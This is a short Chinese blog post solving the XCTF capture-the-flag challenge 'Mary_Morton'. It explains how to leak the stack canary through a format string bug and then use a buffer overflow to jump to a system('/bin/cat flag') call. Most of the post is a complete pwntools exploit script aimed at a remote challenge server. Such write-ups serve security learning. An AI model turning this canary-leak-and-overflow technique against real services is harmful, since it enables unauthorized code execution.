xctf高手进阶第二题 Mary_Morton

   启动运行时输出提示有三个选项,分别是:1.缓冲区溢出漏洞;2.格式化字符串漏洞;3.退出。
   解题方法:因为缓冲区溢出在main函数中,利用格式化字符串漏洞读取main函数的canary,利用缓冲区溢出运行0x4008DA处的system (/bin/cat flag)指令。
   exp:
   from pwn import *
   p=remote('111.198.29.45','31742')
   elf=ELF('./Mary_Morton')
   system_addr=elf.sym['system']
   system_addr=0x4008da
   print p.recvuntil("3. Exit the battle")
   p.sendline("2")
   print p.recv()
   p.sendline('%31$p')
   canary= p.recv()[0:18]
   print canary
   canary=int(canary,16)
   print(canary)
   print p.recvuntil("3. Exit the battle")
   p.sendline('1')
   payload='a'*0x88+p64(canary)+p64(0x0)+p64(system_addr)
   print p.recv() 
   p.sendline(payload)
   print p.recv()
   print p.recv()
发布了23 篇原创文章 · 获赞 1 · 访问量 1077

猜你喜欢

转载自blog.csdn.net/neuisf/article/details/104077538
今日推荐